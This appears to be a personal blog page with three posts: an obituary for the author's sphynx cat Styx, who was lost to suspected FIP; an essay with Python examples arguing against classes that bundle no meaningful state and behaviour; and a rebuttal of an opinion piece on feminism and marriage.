I can hardly believe I posted a bunch of photos of Styx earlier this year.

Three months later to the day, I put him to sleep.

I suppose this is his obituary.

Before

Mel and her husband moved in in January 2011. Their party included an impressive array of critters, filling our formerly petless house to capacity:

• Apollo, a German Shepherd who has yet to understand that he’s not still a puppy
• Granite, the husband’s 15yo cat he’d had since kittenhood
• Napoleon, a clumsy ditz of a rescue cat
• Armando, an affectionate sweetheart cat adopted alongside Napoleon
• Twigs, Mel’s pride and joy sphynx

Sadly, the numbers dwindled over the course of the year: Granite succumbed to old age, and Armando had to be given away after months of trying to stop him from peeing on furniture. This left us with just Twigs and Napoleon as permanent indoor fixtures. As luck would have it, the two cats we lost were also the two who spent the most time around me: Granite mostly passed the time loafing on my bed (and, when I lay down, would saunter up to me and snuggle up with his crackly old-man purr), and Armando loved everyone.

Now, Twigs is pretty playful, whereas Napoleon is more… dainty. Without a cat buddy to play with, Twigs got increasingly rowdy over the following months, even with three humans to entertain him. He also started hanging out with me a good bit more, much to Mel’s chagrin.

The natural outcome: it was decided that I needed my own cat, both as a buddy for me and as a playmate for Twigs. Of course, he would have to be a sphynx as well. So in early December Mel and I drove down to a breeder on the northern border of Oregon.

Styx

I’d never had a pet before, really. As a kid I’d had two county fair goldfish which, shockingly, both died within 24 hours. Not a good track record.

While the breeder was trying to herd some of her five kittens out from under the bed, I spaced out a bit and looked around the room. Sitting a few feet away from us was a single fearless kitten, watching us with a tiny scowl. I squatted down and reached out to pet him; he tilted his head and swatted repeatedly at my hand, missing it completely but trying anyway. On my second attempt he let me touch him, and he immediately let out the loudest purr I’ve ever heard—like coffee percolating.

By now the breeder had retrieved a few kittens, but I’d fallen in love already. I played with him some while the breeder rustled up paperwork. It took me ages to actually get the payment to go through, by which time I’d lost track of my chosen kitten; we found one who looked similar, but he was clearly not the same. I was the one who found him in the end: he’d fallen asleep in a plush cat cube.

We’d decided in advance to name him Styx to match Twigs (but with a cooler spelling). He slept in my arms almost all the way home.

I kept him in my room for the first week or so, letting the other two cats in to smell him a couple times before formally introducing everyone. If I remember correctly, Napoleon wasn’t a huge fan at first, but Twigs got along with him pretty well right from the outset. He was a scrawny and odd-shapen little kitten, with long lanky legs and a potbelly and gigantic paws; while age evened him out somewhat, he never quite grew out of being a barrel on stilts. In clown shoes, I guess.

Now, Twigs’s affection is very direct: he’ll climb on top of you and expertly nestle his butt into any cat-shaped nook on you, or lean against your chest and make his deep sophisticated purr while nuzzling your chin. I’d been around him for a year now, and had taken it for granted that another sphynx would act similarly.

Styx did not. Everything about him was a little awkward. He rarely quite made eye contact, instead opting to stare just over my shoulder. He very rarely nuzzled, except on very special occasions. And he never quite figured out how to sit on people—even when I got him to lie on me in bed, most of the time he would face away from me.

But he purred like crazy, especially for me. One of our most common greetings was for him to come out to the kitchen and grumble at me, me to call out his name, and him to start purring from that alone. He loved to be around me, and would frequently follow me around the house just to hunker down on the floor near my feet every time I moved around. Sometimes I’d reach down to pet him, and he’d casually stroll just out of my reach and hunker down again, deciding that he didn’t want pets right this moment but still wanted to stay nearby. He really liked when I pet him as he ate, too, and would somehow purr while eating. I wouldn’t have thought that was even possible.

Something about his social awkwardness but clear desire for affection resonated with me right from the start, and I always found these little antics heartwarming. Can’t imagine why. :)

I’ve never known such a vocal cat, either. Not just the very regular purring, either; he had a wide range of meows and used them frequently. Many of them were closed-mouth grunts and grumbles—if something disturbed him in his sleep, he’d awake with a distinct “rrt”. In the course of getting our attention, he’d often start with a short grunt and gradually escalate to a full meow, opening his mouth a crack more with each attempt: “rrt”, “mrrrr”, “mrraa”, “mrrrooow”. This was particularly entertaining in contrast to Twigs, who only meowed when very emotional, and usually opened his mouth ridiculously wide to do so.

He never stopped being the rascal who first swatted at my hand, either. He didn’t swipe at people much after that first time—in fact, I had a hard time ever getting him to play with my fingers, and the few times he did, he usually gave up after a minute and instead purred while staring at my hand. But he loved anything flat and round or long and thin, like half the objects on my desk, and loved fishing. He’d regularly drive me crazy by knocking a coin or bottle cap underneath my keyboard, then jostle it around for ages as he tried to fish it back out, sometimes even trying to stick his whole head underneath once he realized it wasn’t attached to my desk. Once recovered, he liked to carefully hold a pencil or bottle cap in his teeth, hop down to the floor, and bat it around some more. He also had a funny occasional habit of sitting on the edge of a book, reaching down, and scrabbling at the pages. No idea what he was trying to do, but it was endlessly entertaining.

Styx liked to sleep with me, just as Twigs sometimes does, though with considerably less grace. He generally hopped on the bed up near the top and climbed over my face on his way to burrowing under the comforter. Usually he slept in the nook behind my knees (I sleep on my side), but sometimes he crawled all the way down and snuggled up to my feet. Which I don’t understand at all, as my feet are generally frozen when I get into bed. This also resulted in a few sudden starts in the middle of the night, when he forgot they were my feet and started flipping out and bear-hugging them with claws out.

Mornings were equally exciting. Styx somehow developed the uncanny ability to wake me up 5–10 minutes before my alarm went off, even when I changed the time. Usually this consisted of an escalating series of meows at the side of my bed, but on particularly sleepy mornings, he’d learned to walk around on my face a bit and then poke me. Poke me! I’d never known that was a thing, but he did it: he pressed a paw briefly against my face or shoulder with his claws out just enough to prickle. Once he pressed his paw right against my closed eye. That got me up pretty fast.

On weekends I’d lie in bed half-asleep petting him for a while as he stumbled around aimlessly on my bed, meowing at me occasionally, still walking over my face, and purring the entire time. If I wasn’t in bed and he felt like taking a nap, he’d devote furious effort to burrowing his way under the comforter. While awake, he almost always nestled into a neat compact loaf, but in his sleep he sprawled all over the place on his side—a couple times we almost squished him, not realizing the imperceptible bump in the bed was a snoozing cat.

Anothered favorite antic was to climb on shoulders. Usually this happened if someone picked him up, but he also leaped onto my back by surprise a couple times, both when I was hunched down scooping litter and when I was standing up near an accessible launchpad. Once in a while he’d sit nicely on a shoulder once there, but most of the time he lay down on my back, with his butt on my shoulder and the rest of him in a casual sphinx pose across my upper back, forcing me to hunch over to support him. I’m sure it was no good for my back, but it was adorable, and an utterly ridiculous thing to be so stubborn about doing.

Styx loved everyone. The first time we introduced him to Apollo was also the only time I’ve ever seen Styx scared of anything: he ran up the cat tree growling and hissing with the short fuzz on his tail bristling like a pipe cleaner! I wish I could’ve ever seen it again, but Styx is too fearless and befriended Apollo after that. Twigs has always mostly tolerated Apollo, but Styx practically had a secret friendship with him, giving him occasional nuzzles when they think no one’s looking. He also tolerated Apollo’s attempts to play (nosejabs and lots of wet dog licks) remarkably well, even sometimes stumbling around Apollo’s legs purring while getting slobbered on.

Napoleon is very aloof and has only ever shown affection to Granite, who spurned his advances. Styx likewise tried to rub on Napoleon at times, only for Napoleon to awkwardly inch away. Alas. Napoleon did groom Styx once in a while, though usually only on the fuzzy backs of his ears.

Styx and Twigs were practically brothers. Sphynxes are endlessly playful, and the two of them kept each other entertained, racing up and down the hallway and having dramatic cat battles on my bed. Twigs also liked Styx for his unique property of “being warm on my butt”, and liked to sit on him, which usually ended in Styx’s conceding his entire warm spot. The pair of them often slept together, and Twigs liked to groom Styx (and escalate into mini cat battle by biting his neck and making his war meow).

But I was his favorite, and he would usually come to (or want to see) me, meowing the whole time. For reasons unfathomable, he’d regularly sit out at the end of the hallway right in the way of anyone trying to walk anywhere and meow at nothing in particular until I came to see him. (And then, not uncommon, instant purr.) He’d sit on my desk in front of my monitor and stare off to the side. He’d come into my room, hunch down on the floor, and just sit there. He’d meow at me to go to bed with him, or meow at me until I at least lay on my bed and wrapped him in my robe and pet him until he purred himself to sleep.

Downhill

I came back from a Yelp visit at the beginning of the month. I walked in the door, saw Styx waiting for me on the back of the couch, and immediately commented on how skinny he seemed. Mel and her husband commented that he’d been kinda lethargic while I’d been gone, eating little and spending most of his time sleeping. We speculated that it was separation anxiety, and I set about fussing him like crazy.

A week later, he was still noticeably skinny, despite eating plenty and otherwise seeming perfectly fine. I was starting to worry, so I took him to a nearby 24/7 emergency vet (the only place open on a Sunday) to get him poked and prodded a bit. The vet told me he had a heart murmur, something he’d always had, but looked fine weight-wise. I could already see the faint outlines of his ribs and light bumps along his spine, but was at least somewhat reassured.

A few days passed; Styx was still skinny and still spent most of his time sleeping. I took him to my regular vet—if nothing else, they might have an earlier record of his weight.

They did. He’d been 9.6 lbs when they’d seen him in September. Now he was 7.3 lbs. They also had a record of his heart murmur, and it had definitely gotten worse. They did some blood tests and found he was slightly jaundiced; the vet gave him a prognosis of “guarded” and recommended I see a cardiologist. They gave him some antibiotics and a B-complex shot, and he at least seemed happier the rest of the day.

So a few days later I went back to the emergency vet, which happens to employ some specialists as well. The cardiologist diagnosed him with hypertrophic cardiomyopathy (HCM), a genetic condition common in sphynxes that causes thickening of the heart muscle. If undiagnosed, the heart can wear itself out abruptly, in the worst cases leading to the abrupt and unexpected death of a perfectly healthy cat. (Or person—the same condition affects people, as well.) The cardiologist prescribed a beta blocker to reduce his heart rate and ease the effort of his heart, but he also suggested I see an internal medicine specialist about the jaundice.

By now I’d been googling furiously for what could possibly be wrong, and hadn’t come up with much. The possibility of feline infectious peritonitis had come up, but the cardiologist told me his latest bloodwork ruled it out. What a relief!

This fourth set of vets kept Styx for the day to do an ultrasound. They found a handful of concerning symptoms, including fluid in his abdomen and a few slightly-enlarged organs. They sent off the fluid and more blood samples for a variety of tests, the results of which wouldn’t be back until the following week. It was Thursday. The internalist was off on Mondays.

On Friday I received his discharge papers, complete with a more detailed list of possible diagnoses. The common possible diagnosis for each of his symptoms, and the top of the overall diagnostic list, was FIP.

Let me tell you about FIP.

Coronavirus refers to a family of viruses that cause SARS and a decent chunk of common colds. Cats have their own family of feline coronaviruses, which are usually just as harmless: sometimes a runny nose or a bout of diarrhea, sometimes no symptoms at all, and then it’s gone.

Very rarely, though, a particular coronavirus will spontaneously mutate inside a cat and become a cruel sadistic joke. It almost exclusively strikes young cats. It causes vague unhelpful symptoms like fever and weight loss. We don’t know why it mutates. We don’t know how to prevent it. We don’t know how to cure it. We don’t have a reliable test for it. And it is almost always rapidly fatal.

Thus began the worst weekend I’ve ever had. I spent most of it sitting around holding him, crying, or both. The googles didn’t do much to reassure me: the wet/effusive form of FIP, which he would have, had a median survival time measured in days. I had trouble sleeping, not sure whether I’d still have a cat when I woke up.

At this point Styx still seemed otherwise healthy, despite having lost even more weight and spending most of the day sleeping. Yes, yes, cats sleep a lot, but they don’t sleep all day: Styx would sleep for a few hours, get up to stuff his face and use the litterbox, then go right back to sleep. He seemed happy, though, and was certainly content to snooze the hours away in my lap.

Was that really only a week and a half ago?

On Tuesday came a call telling me some lab results had come in: he was negative for a variety of regular infections that might have caused this. On Thursday a PCR came back, inconclusive. I took him back to the vet.

He’d been a little more active and still had a healthy appetite, but he’d lost some more weight even as I was stuffing his face with the most fattening cat food I could find, and he’d also peed my bed—but only once. With everything else ruled out, the vet assumed FIP and prescribed him prednisolone, a steroid and immunosuppressant and the only treatment ever consistently observed to extend an infected cat’s lifetime at all. We discussed some experimental treatments, but they were a bit of a pain to obtain. They told me they’d look into them over the weekend; “no hurry”.

Styx ended up staying at the vet a few hours that day to get x-rays and some more bloodwork. By the time I got him back, he was desperate to get out of his tiny cat prison, pawing at the door for the first time I’d ever seen. When I let him out in the house, he was his purry affectionate self for the rest of the day, loving on my feet and stumbling around to see what everyone was doing. He was definitely more active than he had been, and stayed that way for the next several days.

End

On Saturday, Styx developed diarrhea. On the front door mat, right next to the litterbox.

That’s the thing I cried over the most. I broke down sobbing several times in the process of cleaning it up. This had been the final nail in Granite’s coffin, too. We’d taken him to the vet after a week or two of litterbox misses, and been told that the best thing we could do for him was put him down that very night. That was the first time I’d watched something bigger than a beetle die. I still feel awful for being the one to insist we take him to a vet.

Sunday brought several rounds of misses, mostly on my floor. I also discovered my robe, which doubled as Styx’s favorite cat blanket, had been peed on. I quietly washed it and switched him quickly back to mostly dry food. Sphynxes have sensitive stomachs; this might have been a bad reaction to the cat food, right?

I don’t want to preserve yesterday’s events in graphic detail for all time, so suffice to say: no. Styx’s gastric problems got exponentially worse over the course of the morning (and I do not use words like “exponentially” lightly), and I spent most of my time cleaning up after him. I had to wipe him off, give him a bath, wash my robe, scrub my floor. The whole time he meowed sadly at me.

Mel was asleep, her husband was out. I was at a loss for what to do. I’ve always been terrible with hard decisions—on more than one occasion I’ve asked half a dozen different people for advice just in the hopes that hearing it will somehow save me from having to decide at all.

And then I looked at Styx and I knew he was done.

Mel woke up, her husband came home. We fussed over Styx, spoiled him with lots of cottage cheese curds.

I washed my robe one last time and made a phone call. I sat in the living room holding him while he burrowed into my robe and slept for a while.

I took Styx into my bedroom, still wrapped in my robe, and he gave me a brief purr. The vet arrived and everyone shuffled in. The first injection was a sedative, and he dozed off in a few minutes, with all of us petting him.

The second injection looked basically like drain cleaner. I asked to press the plunger. My cat, my call.

I saw the moment he died, just as I’d seen with Granite. I can’t even explain what changed; one moment there was, plain as day, no longer a cat in there. He was only a year and eight months old, almost to the day.

I was amazed how fast he went pale, cold. Granite had been very furry, so he’d just been limp. Styx felt icy within seconds—even with cats’ higher body temperature.

Together the three of us buried him in the front yard next to Granite, still wrapped in my robe. Granite’s grave is marked by a humble square of granite tile; I suppose Styx’s should be marked by a tiny tree. I’ll stop by a hardware store this week and see what I can find.

Me

We spent the rest of the day out at our special-occasion restaurant and wandering around a mall; I bought a new set of bedding, as my bed had already been ravaged by cat ass before this weekend and is beyond saving. I’m in the market for a new robe, too.

Twigs has been taking it the hardest, yowling with surprising regularity. He’s been a bit grumbly the past week, and was particularly sad all day yesterday. I could swear he saw it coming.

I miss him terribly. My bed feels very empty without a little cat nestled in it somewhere.

It’s a huge relief, though, to have some closure on this. I spent a month worrying that my cat might die, and it was thoroughly exhausting. If nothing else, I don’t have to worry any more.

I feel like I’ve been forced to grow up a lot all of a sudden, what with the grown-up decisions and existential crises. I keep expecting to feel clichéd reactions, like regret or resentment or guilt, but I don’t at all. I can’t even second-guess making the decision on the day I did. It’s not rationality, or confidence; there’s just no other way it should have happened.

So, dying fucking sucks, in part because it’s all the sorrow of death dragged out for who knows how long. Several times I thought I’d found hope it wasn’t FIP, or he might fight it off, or whatever, only to have it crushed soon thereafter.

Not that I will ever regret hoping. I did get longer with him than I expected, and I’m glad for that. I might not even have realized anything was wrong for much longer, had I not been gone for a week and a half and seen the weight loss suddenly rather than gradually.

I’m okay. I’m sad, but I’m not crushed like I thought I would be. In a way I lost much of Styx a month ago when he lost the energy to be his usual rascally self, and all the grief has been over the thought that I might never get that back. Now I know for sure. I feel worse for him than I do for me; by all accounts I’m perfectly fine, whereas he actually had to go through all this first-hand.

We fought tooth and nail, though. He kept his voice and his appetite to his last breath, stuffing his face even as that last vet was having me sign paperwork, and I shelled out three grand trying to help him. We lost, but we gave ‘em hell.

I’m not religious. I can’t even euphemistically suggest he’s off in cat heaven somewhere romping around. He’s not even in the ground in front of my house; that’s just a lump of animal now, something for bugs to eat. Styx is gone and I can never see him again.

We hate the thought that we’ll die and forget everything we’ve done. Our friends remember us, but they die as well. No matter how permanent a legacy we leave, someday the planet will wilt and die, someday the sun will supernova, someday the universe will disperse into dust. Zoom out far enough and nothing matters. So what’s the point? Where’s the meaning?

I always thought that was a funny question, seeing as the ones asking it are also the only ones equipped to answer it. Styx is gone, but he had a great time while he was here, and he brightened our lives in turn. That was sure enough for him. This has been… very difficult to write, yet I still can’t help but smile as I think about him, crying or not.

Life is its own meaning.

He was a fantastic cat and a wonderful little companion. It was a privilege to have known him, however briefly, and I wouldn’t trade it for anything.

I did my best; I have no regrets.

Next

My next pet will be a rock. Fuck mortality.

I’ll probably get another cat sometime. Hopefully from a coronavirus-free breeder. We absolutely can’t bring a new cat into the house for a few months, not least because it takes that long for coronavirus to die off, and I certainly don’t intend to go through this again anytime soon.

Alas; that’s exactly the amount of time in advance that I might want to reserve a kitten from a sphynx cattery, and I reeeeally don’t want to think about that quite yet. (Mel does. She’s already going crazy from having insufficient cat in the house. And Twigs has no one to play with again, which along with cat grief is making him a colossal pest.)

I know of some custom plush makers. I might see about getting a plush of Styx made. Then he can scowl at me forever.

I took a ton of photos and video over the past month in a desperate attempt to record as much of him as possible. I’m happy I have them, but given that most of them emphasize just how skinny Styx had gotten, I’m not sure I want to share them. The photo at the top is one of the last I took, a mere six hours before he died.

Also, here is Twigs playing with Apollo.

A few weeks ago, Armin Ronacher wrote a rebuttal entitled “Start Writing More Classes”, which argues that classes are essential for both writing extensible code and smoothing over crappy interfaces. (Hm. Now that I look at it again, if you read the post backwards, it almost sounds like he’s suggesting writing a class to smooth out the crappy interface you get from using too many classes…)

I’m having some trouble here, because I agree with both points of view. There must be a way to resolve this contradiction, a message that resonates with everyone.

I think I’ve found it.

Stop writing stupid classes.

Some context

Before I clarify what I mean, I need to establish some definitions. Quick: off the top of your head, what is object-oriented programming about?

Got an idea yet?

If you thought any of the words “encapsulation”, “inheritance”, “polymorphism”, “information hiding”, “abstraction”, or “vtables”, you are wrong.

If you thought any of the words “class”, “prototype”, or “type”, you are still wrong.

Object-oriented programming is about objects: bundles of state and behavior. The rest is optional fluff. And object-oriented languages are defined only by having built-in support for bundling state and behavior, not by having built-in support for classes. You may notice we don’t call it “class-oriented programming”.

Quick: off the top of your head, what makes JavaScript an object-oriented language?

If you thought “what? it’s not!” then there is no hope for you and you should go back to C++.

If you thought “prototypes” or “the new operator”, you are wrong!

The key and only feature that makes JavaScript object-oriented is the humble and error-prone this. Observe:

1
2
3
4
5
6
7
8
9

var date = {
    year: 2013,
    month: 3,
    day: 3,
    to_iso8601: function() {
        // we'll pretend this function exists
        return sprintf("%04d-%02d-%02d", this.year, this.month, this.day);
    },
};

There’s no new here. There’s no prototype. There’s just state and behavior, and that makes it an object. What it is and what it does. Even if JavaScript lacked prototypes entirely, it would still be object-oriented as long as you could use this.

“But what about classes?” Who cares? Worst case, you could build your own class implementation by copying the method definitions into every new object you created. Maybe you’d make a master object containing those methods, for ease of copying. Maybe you’d make the master object track all the objects derived from it, so you could propagate any changes to the master object. You could even give the master object a special method all its own for generating new objects based on it. And then the master object would itself be an object, so it could be an implementation of itself. Wow, this sounds kinda like classes!

For similar reasons, C is not object-oriented. You can write object-oriented code in C, but no matter what tricks you do with storing function pointers in structs, you still have to pass the struct itself as an explicit argument. The behavior is completely divorced from and unaware of the state.

State and behavior.

I keep repeating this in the hopes that it sticks, because too much OO code is written like Java, and too many programmers believe that OO is defined by Java. Well, you know, fuck Java.

Last pop quiz: what makes Python an object-oriented language?

Ah, hm. It can’t be classes, or I’d tell you you’re wrong. So what is it? Attributes? Those are just sugar for __dict__ lookups. self? No, that’s not a keyword or anything; it’s just the de facto standard name for the first argument. So what makes self work?

That’s close enough, really. The answer is descriptors, which are basically “the things that make self work”. A descriptor object is an attribute of a class, and it’s invoked whenever that attribute is accessed on an instance of that class. Methods are, in fact, very simple descriptors that effectively return partial(method, instance)!

Descriptors are the only part of Python OO that cannot be semantically reimplemented in Python itself. Methods are easy; I just told you how to do it. Objects are just dicts with sugar (and descriptors!) on top. Classes are sugar for dumping a scope into a dict; you could just as well do it manually with locals(). Inheritance is just chained attribute lookup. Metaclasses are just more objects in much the same way as the JavaScript example above. These are all convenient patterns baked into the syntax, but descriptors are what make it work.

State and behavior.

Stupid classes

This almost brings me back to my thesis, but first I need some examples of stupid classes. I’m going to be writing these examples in Python because it has the local minimum of syntactic noise, but the idea’s the same basically anywhere.

The “I’m too good for functions” antipattern

A shockingly common form is the humble “job”—a task to be scheduled and performed. Cron job, batch job, whatever it may be. You generally have some Job master class (or “abstract base class” or whatever frilly name the documentation gives it):

1
2
3
4
5
6
7

class CleanupJob(Job):
    # configuration: run at 5am
    run_at = '05:00'

    # implementation: nuke expired sessions
    def run(self):
        delete_expired_stuff()

If you’ve watched “Stop Writing Classes”, you may immediately recognize this as one of the major sins he covered: a class that only has one method, which should instead be a function. He’s right about that, but I have a different take on why this is so wrong, and I think my reasoning extends better to other kinds of stupid classes.

Here’s my question for you: what is a CleanupJob object?

You might say “it’s a job for cleaning up stuff”. That sure sounds reasonable—but then what is its state, and what is its behavior? Its behavior appears to be deleting old things, but what does this have to do with the notion of a “job”? What state does it have that’s relevant to deleting things? I suppose if Job provides a database connection, the function could make use of it, but isn’t the connection itself more a part of “the job” or “your app configuration”, not so much the specific task of cleanup?

This is all a little murky. Yet Job itself seems self-contained and clearly defined. Presumably it has behavior like checking the time and setting up some resources and other bookkeeping—that is, its behavior is to set up some state and then call this run method. It almost seems like the class itself is trying to be “a job for cleaning up stuff”.

And we’ve stumbled upon the problem here: the implementation, the run method, isn’t behavior. It’s the state! The behavior is to run this function, granted, but the function itself has nothing to do with jobs. We’ve just turned it into a method because… wait, why did we do that? It’s not like passing functions around as data is particularly difficult in Python.

I have a hypothesis: this pattern is so common for the simple reason that Java doesn’t have first-class functions. Java is one of the most common environments from which the current generation of programmers learned about object-orientation, but its inherent deficiencies mean that this simple job concept cannot be implemented correctly. And I’m not only ragging on Java: I would put C++ and PHP in second and third place, and they have the same flaw. (Yes, yes, you can pass function pointers around in C++, but it’s so awkward that it might as well be black magic.)

What’s my alternative? Hard to say; it depends on your language’s idioms. In the case of Python, decorators.

1
2
3
4
5

cleanup_job = Job(run_at='05:00')

@cleanup_job.run
def do_cleanup(job):
    delete_expired_stuff()

You may notice that this looks pretty similar. That’s good! It means doing this the right way is really easy. But look what we’ve gained here.

• With classes like this that try to use inheritance as a configuration mechanism, you often want to reuse the same configuration. So you make an intermediate class that has just the shared configuration. Now you need something slightly different sometimes, so you add a mixin, and now you have multiple inheritance, and overrides propagate in weird ways, and who even knows what’s happening.
• The same implementation can rather naturally be attached to multiple jobs, without making even more of a mess of that artificial inheritance hierarchy.
• Need to add another kind of callback, like common pre-run bookkeeping, that only some subset of jobs share? No problem: cleanup_job.add_pre_run(setup_logging).
• You can test Job itself and particular jobs independently, and rather easily. Create a Job-like class that has only the resources a particular job needs, and pass it in. No need to, say, mock out all the internals to force the job to run immediately instead of at a specified time.

There’s a common theme among these bullet points. By making implementations of Job be subclasses instead of instances, the only tools available for factoring out common code or adding new behaviors are the tools built into the core of the class system: primarily, inheritance. By using instances, the entire language can be used however you want, because they’re just objects. The parts are clearly defined, easy to reason about, and easy to reuse.

Not convinced by any of these bullet points? Doesn’t matter; they, too, are just fluff. The real reason here is that this is the right way to structure a program, and shoehorning functions into methods is wrong, and that’s good enough for me.

After all, there’s probably a good reason we don’t all do this.

1
2
3
4
5

class StudentGrades(object):
    alice = 100
    bob = 96
    charles = 62
    david = 85

Exactly the same thing.

The controller antipattern

Here’s the good part: the “state and behavior” mantra doesn’t just apply to one-method wonders. I bet you’ve seen this before:

1
2
3
4
5
6
7
8
9
10
11
12

class LoginController(Controller):
    def register(self):
        return self.render_template('/register.mako')

    def login(self):
        if self.request.method == 'POST':
            # ...
        else:
            return self.render_template('/login.mako')

    def logout(self):
        # ...

This is the controller pattern. At first glance, this might seem perfectly reasonable: there are, clearly, multiple methods here.

I ask once more: what is a LoginController object, and what does it do?

I can tell you what it does: it handles various auth-related page requests. That’s a little hokey, but okay. What is it?

It’s nothing. There’s no way to describe it without sounding like a blowhard. It’s not “a controller for some URL space”, because that’s what the class is. An instance of it is utterly meaningless!

Once again, these “methods” are actually state, not behavior. They’re all attributes of some application object whose behavior is to receive requests and dispatch them to the appropriate handler functions. Turning those functions into methods muddies the distinction between your framework and your particular app.

Look at how Flask does it:

1
2
3
4
5

app = Flask(__name__)

@app.route('/')
def hello():
    return u"Hello world!"

The app is the object, and the various URL handlers are its state. Pyramid does the same:

1
2
3

@view_config(route_name='home')
def home(request):
    return Response(u"Hello world!")

1
2
3

config = Configurator()
config.scan()  # picks up the decorated function in views.py
app = config.make_wsgi_app()

The app is the object, and the various URL handlers are its state.

Think this only applies to Web frameworks? I bet you’ve seen this before, too:

1
2
3
4
5
6

class TestSomething(UnitTest):
    def test_one(self):
        assert True

    def test_two(self):
        assert True

You already know what I’m going to ask: what is a TestSomething object? Less than nothing. Does it even have any state? It looks like it’s only instantiated at all so its “methods” can be called!

I have seen some royal messes result from this pattern, especially when combined with multiple-inheritance-for-sharing and extras like teardown methods. If you get the supers wrong, you might not be tearing your tests down.

Here’s the same test suite, rewritten with py.test:

1
2
3
4
5

def test_one():
    assert True

def test_two():
    assert True

py.test does support test classes, but everything it can do works just as well with plain functions. Need setup, teardown, resources, sharing? No problem; you can define it all, scoped however you want, far far away from your actual tests.

And so

What’s a stupid class, then? One that produces stupid objects—ones that lack clear and meaningful state and behavior. State and behavior. State and behavior. If it doesn’t bundle state and behavior in a sensible way, it should not be an object, and there should not be a class that produces it.

Easy litmus test: what is an instance of your class, in no more than five words? Most stupid classes require explanations that begin “it’s an object that…” and then you only have one word left. Sensible objects should have a description. They should be something. Lists are sequences of items. Modules are containers for related code. Jobs are scheduled maintenance tasks. Applications are dispatchers for an entire site.

But Armin is right too

I hope I’ve made an inkling of a point by now. If not about object design in general, at least about controller classes. But before you run off with the impression that I think all classes are evil: remember, I agree with “Start Writing More Classes” too.

The difference is all in the examples. Armin cites parts of Flask.

1
2
3
4

def get_template(self, name, parent=None, globals=None):
    if parent is not None:
        name = self.join_path(name, parent)
    return self.loader.load(self, name, globals)

1
2
3
4
5
6
7

def load(self, environment, name, globals=None):
    if globals is None:
        globals = {}
    source, filename, uptodate = self.get_source(environment, name)
    code = environment.compile(source, name, filename)
    return environment.template_class.from_code(environment, code,
                                                globals, uptodate)

1
2
3
4
5
6
7

def compile(self, source, name, filename=None):
    # template code to jinja's abstract syntax tree
    source = self._parse(source, name, filename)
    # jinja's abstract syntax tree to python source
    source = self._generate(source, name, filename)
    # python source to bytecode
    return self._compile(source, filename)

The actual article has some commentary on what these parts actually are, but I’m interested in how they’re written.

Because, you see, these methods are all on different objects. Each of them implements a tiny fraction of a different thing’s behavior. The Flask app itself knows how to get a template, but only by consulting a template loader it owns. The template loader knows the mechanics of finding a template, but it needs to consult an environment object to know where to actually look. The environment object knows how to compile a template, but breaks it into meaningful and independent steps.

These are all independent things that I can talk about meaningfully. I can work on them without needing to understand the context of how they’re used or what they use themselves. I could test them without concerning myself with a thousand other intertwined code paths. They all have state and behavior that I could describe in a sentence or two, and you’d have a pretty good idea of everything they do and how they do it.

These are good classes, because they produce good objects. And when you have a lot of good objects, you can certainly replace them and change them and reuse them and recombine them as Armin wishes he could do more often. Remember py.test? All of its shenanigans are built on objects, even if the tests themselves are not. You know WSGI? It’s all defined in terms of callables, yet most of the time we use classes with __call__ methods instead. Pyramid uses mountains of objects and hooks under the hood, but you’ll never notice until the day you realize you need to toy with some of them.

So

So please stop using classes as shapeless bags in which to dump functions. Chances are, either that big ol’ function is actually the state of a different kind of object entirely, or there are several smaller concerns in there you could break apart.

Hell, if you can manage it, forget about classes entirely. They’re just a convenient way to factor common behavior out of objects. Let’s design useful, scoped, meaningful objects, and then write classes that produce them.

She has written another charming opinion piece and I can’t resist butting my big dumb head in to object to a few things here.

(The article was originally accompanied by a thumbnail of a happy couple in typical wedding garb kissing with a cool skyline background. Minor oversight: both of them were women, which sort of contradicts the article’s title in a number of hilarious ways. Strangely, this illustration has now vanished!)

[book shill elided] Its premise is that if women want to be successful in love, they should reject the cultural script they’ve been sold and adopt a whole new view of men and marriage.

We begin with a perfectly-framed example of how she doesn’t understand what “equality” is supposed to be about. The whole point of regarding everyone as equal is to avoid having a cultural script in the first place! Men are allowed to like football and beer; women are allowed to like knitting and raising children. The only problem is that men and women are expected to like these things and encounter atmospheric resistance by liking something else.

It almost sounds like this leading paragraph would agree with this principle, yet the article’s thesis is that equality sucks. The difference is that there’s now a cultural script she doesn’t like, so it needs to be rejected. The former cultural script suited her just fine, of course, so it was just The Way Things Are and why was everyone making such a big fuss? The irony it is palpable.

1. Women postpone marriage indefinitely and move in and out of intense romantic relationships, or even live with their boyfriends for years at a time. Eventually, their biological clocks start ticking and many decide they better hurry up and get married to provide a stable home for their yet-to-be-born children. Trouble is, their boyfriend’s not willing to commit.

Wait, what? This hypothetical woman is living with her partner for years at a time, but (a) this doesn’t qualify as a “stable home” and (b) the hypothetical partner isn’t willing to commit? How much more committed can you get than to intertwine your lives? It must only count as commitment if you have to sign some paperwork to break it off—wait, oops, both your names are on the lease and the bank accounts.

I can’t even visualize this scenario. It makes no sense to me whatsoever. (I might have blinders on since my girlfriend has been living with me for two years.) Why would you live together for years if you couldn’t “commit”? Why would you have a long-term relationship with someone whose life plans are so drastically incompatible?

The more I think about this, the weirder it gets. It sounds like the woman will just up and decide one day to have children, and the boyfriend is obligated to create and help raise them, and if he doesn’t want to then… it’s the woman’s fault? This is absurd.

2. Marriage becomes a competitive sport. The complementary nature of marriage—in which two people work together, as equals, toward the same goal but with an appreciation for the qualities each gender brings to the table—has been obliterated. Today, husbands and wives are locked in a battle about whom does more on the home front and how they’re going to get everything done. That’s not a marriage. That’s war.

How about the qualities each person brings to the table? Mel’s husband cooks because he’s the best at cooking and enjoys doing it. (The two of us both kind of suck at it.) Mel and I work all day. Where exactly does gender come into this?

This scenario sure seems to imply that the woman doesn’t want to do the work traditionally assigned to her, which puts a strange spin on the subsequent proposal that perhaps she should just do it anyway because she’s a woman and that makes her genetically predisposed to being better at holding a mop.

Maybe—maybe—there wouldn’t be fighting if the husband didn’t take for granted that the wife should do the housework because she’s the woman. Maybe.

It’s time to say what no one else will: Feminism didn’t result in equality between the sexes—it resulted in mass confusion. Today, men and women have no idea who’s supposed to do what.

How do you get anything done at work? I mean, you have way more than two people at Fox News (I assume), and many of them are the same gender! Without the advantages a prescribed list of what tasks your genitals uniquely enable you to perform, how can you possibly get anywhere?

Oh, right. You delegate. You assign responsibilities. You sit down and figure it out because you’re fucking adults.

It’s hard to claim women were oppressed in a nation in which men were expected to stand up when a lady enters the room or to lay down their lives to spare women life.

They were patronized, paid less, denied the right to vote until very recently, ignored, beaten by their husbands… but by golly, men stood up when they walked in the room!

When the Titanic went down in 1912, its sinking took 1,450 lives. Only 103 were women. One-hundred three.

